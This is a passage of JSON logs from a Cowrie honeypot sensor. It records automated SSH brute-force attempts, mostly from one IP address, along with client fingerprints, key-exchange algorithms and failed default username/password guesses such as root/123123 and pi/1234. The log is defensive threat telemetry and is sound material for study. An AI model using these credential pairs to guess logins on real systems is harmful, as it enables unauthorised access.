ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:02.870530Z","src_ip":"192.109.200.78","session":"54feb09d7570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1234","message":"login attempt [pi/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:03.116209Z","src_ip":"192.109.200.78","session":"54feb09d7570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:04.199587Z","src_ip":"192.109.200.78","session":"54feb09d7570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53232,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4f97f76144e","protocol":"ssh","message":"New connection: 192.109.200.78:53232 (10.17.0.5:22) [session: f4f97f76144e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:06.441662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:06.445803Z","src_ip":"192.109.200.78","session":"f4f97f76144e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:06.526761Z","src_ip":"192.109.200.78","session":"f4f97f76144e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:06.772506Z","src_ip":"192.109.200.78","session":"f4f97f76144e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:07.855649Z","src_ip":"192.109.200.78","session":"f4f97f76144e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":32800,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c126cb50250","protocol":"ssh","message":"New connection: 62.133.62.83:32800 (159.203.135.109:22) [session: 1c126cb50250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:08.601984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:08.606165Z","src_ip":"62.133.62.83","session":"1c126cb50250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:08.683908Z","src_ip":"62.133.62.83","session":"1c126cb50250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ladoga","message":"login attempt [root/ladoga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:08.918174Z","src_ip":"62.133.62.83","session":"1c126cb50250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53236,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd2aa0a4e389","protocol":"ssh","message":"New connection: 192.109.200.78:53236 (10.17.0.5:22) [session: dd2aa0a4e389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:09.856066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:09.861733Z","src_ip":"192.109.200.78","session":"dd2aa0a4e389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:09.942407Z","src_ip":"192.109.200.78","session":"dd2aa0a4e389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:09.998899Z","src_ip":"62.133.62.83","session":"1c126cb50250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:10.185191Z","src_ip":"192.109.200.78","session":"dd2aa0a4e389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:11.378099Z","src_ip":"192.109.200.78","session":"dd2aa0a4e389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37200,"dst_ip":"10.17.0.5","dst_port":22,"session":"553f1e3c0214","protocol":"ssh","message":"New connection: 192.109.200.78:37200 (10.17.0.5:22) [session: 553f1e3c0214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:13.253947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:13.257844Z","src_ip":"192.109.200.78","session":"553f1e3c0214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:13.341558Z","src_ip":"192.109.200.78","session":"553f1e3c0214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234","message":"login attempt [sam/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:13.744686Z","src_ip":"192.109.200.78","session":"553f1e3c0214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:14.831105Z","src_ip":"192.109.200.78","session":"553f1e3c0214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37214,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c44e53ed50c","protocol":"ssh","message":"New connection: 192.109.200.78:37214 (10.17.0.5:22) [session: 5c44e53ed50c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:16.889313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:16.892683Z","src_ip":"192.109.200.78","session":"5c44e53ed50c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:16.973385Z","src_ip":"192.109.200.78","session":"5c44e53ed50c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem","message":"login attempt [fivem/fivem] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:17.216705Z","src_ip":"192.109.200.78","session":"5c44e53ed50c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:18.301662Z","src_ip":"192.109.200.78","session":"5c44e53ed50c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.411287784576416,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:19.393316Z","src_ip":"103.249.87.183","session":"5066a9c578ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37222,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c68fd761fce","protocol":"ssh","message":"New connection: 192.109.200.78:37222 (10.17.0.5:22) [session: 8c68fd761fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:20.456456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:20.504915Z","src_ip":"192.109.200.78","session":"8c68fd761fce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:20.545301Z","src_ip":"192.109.200.78","session":"8c68fd761fce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:20.856360Z","src_ip":"192.109.200.78","session":"8c68fd761fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:21.940079Z","src_ip":"192.109.200.78","session":"8c68fd761fce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58990,"dst_ip":"10.17.0.5","dst_port":22,"session":"da4fd6b1b045","protocol":"ssh","message":"New connection: 192.109.200.78:58990 (10.17.0.5:22) [session: da4fd6b1b045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:23.892086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:24.001363Z","src_ip":"192.109.200.78","session":"da4fd6b1b045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:24.004590Z","src_ip":"192.109.200.78","session":"da4fd6b1b045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:24.337272Z","src_ip":"192.109.200.78","session":"da4fd6b1b045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:25.420583Z","src_ip":"192.109.200.78","session":"da4fd6b1b045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59006,"dst_ip":"10.17.0.5","dst_port":22,"session":"58cd786511eb","protocol":"ssh","message":"New connection: 192.109.200.78:59006 (10.17.0.5:22) [session: 58cd786511eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:27.509924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:27.513608Z","src_ip":"192.109.200.78","session":"58cd786511eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:27.596468Z","src_ip":"192.109.200.78","session":"58cd786511eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:56:27.839575Z","src_ip":"192.109.200.78","session":"58cd786511eb","protocol":"ssh"}
